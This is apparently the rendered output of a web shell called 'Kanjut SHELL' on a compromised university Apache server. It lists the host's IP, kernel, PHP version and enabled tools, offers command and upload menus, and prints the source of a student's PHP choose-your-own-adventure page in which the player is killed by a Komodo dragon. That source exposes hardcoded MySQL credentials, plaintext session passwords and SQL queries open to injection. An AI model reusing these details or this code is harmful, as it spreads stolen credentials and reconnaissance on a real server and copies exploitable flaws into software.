Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.40.239
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rlbarner/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/rlbarner/www/earthheart.php
<?php   session_start();
        $username = $_SESSION['username'];
        $_SESSION['username'] = $username;
        $password = $_SESSION['password'];
        $_SESSION['password'] = $password;
	
        $host = 'localhost';
        $user = 'rlbarner';
        $passwd = 'cs480';
        $database = 'rlbarner';
        $connect = mysql_connect($host, $user, $passwd);
        $table_name = 'CYOAUsers';

        $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'";
        mysql_select_db($database);
        $result = mysql_query($query, $connect);

	if(($result) && (mysql_num_rows($result) > 0))
	{  
                $amendq = "UPDATE $table_name SET CYOADeath = CYOADeath + 1 WHERE Username = '$username' && Password = '$password'";
                mysql_select_db($database);
                $amendr = mysql_query($amendq, $connect);
                if($amendr)
		{
?>

<!-- Body of page STARTS HERE! -->
<HEAD><TITLE>The Earth Room: Dig Up Heart Mound</TITLE>
<link rel="stylesheet" type="text/css" href="earthroom.css"></HEAD>

<HR>
<P>You fastidiously cross the room, grapple the shovel in your slightly clammy hands, and proceed to unearth the contents of whatever's lying in wait under 
the mound of dirt in front of the leftmost stone, featuring the engraving of a keyhole. </P>

<P>Your heart rate increases, pulse pounding in your wrists, as you move the dirt to the side.  You notice that some of the dirt remaining to be moved 
aside twitches slightly, but you chalk it up to your excavation efforts. </P>

<P>Barely one-third of the original amount of dirt remains in front of you.  You pause, leaning on the shovel as your hand pops up and its back brushes 
against your forehead.  When you pull your hand away, cool perspiration beads on the back of your hand. </P>

<P>A soft grunt catches your attention.  Your pupils contract harshly, and as you glance down to the barely remaining mound of dirt, a scream of alarm 
shoves its way up and out of your throat. </P>

<P>A very much alive, and very hungry, Komodo dragon stands directly in front of you, dirt caked permanently into its black scales, baring footlong fangs. 
</P>

<P>You instinctively back up, the shovel tumbling forward and clocking the dragon square on its head.  It lets out a roar of agony and charges you, sinking 
its teeth into your leg and tearing at it. </P>

<P>Hot, fiery pain sears up your leg.  You scream and lose your balance, pitching backward and crashing hard onto the sandstone floor. </P>

<P>The dragon rears up and charges directly at your face.  It seems to smile before it leans down and tears at your face's flesh. </P>

<P>You scream as your body is ripped apart, but soon all sound dies out and fades into silence. </P>
<HR>

<P><FONT SIZE=4><B>You died!<B></P></FONT><BR><BR>

<A HREF=randomstartdirect.php>Click Here</A> to go back to the first prompt of this CYOA.<BR>
Or, you can <A HREF=cyoafrontpage.php>Click Here</A> to go back to the CYOA front page.<BR>
Or, you can <A HREF=index.html>Click Here</A> to go back to the website's front page.<BR>
<HR>
<!-- Body of page ENDS HERE! -->

<?php		
			print "<BR><FONT SIZE=2>Logged in as $username  <A HREF=cyoalogout.php>Logout</A></FONT>";
		}
	else
        {       // fail message
                print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoalogin.html">';
                print "<FONT SIZE=4 COLOR=RED><B>Error!</B> Username/password does not match any records.</FONT><BR>";
                print "You will now be redirected to the CYOA login page in 3 seconds.<BR>";
                print "If you are <B>not</B> redirected, <A HREF=cyoalogin.html>Click Here</A>.";
        }
	}

?>

Stv3n404 - 2023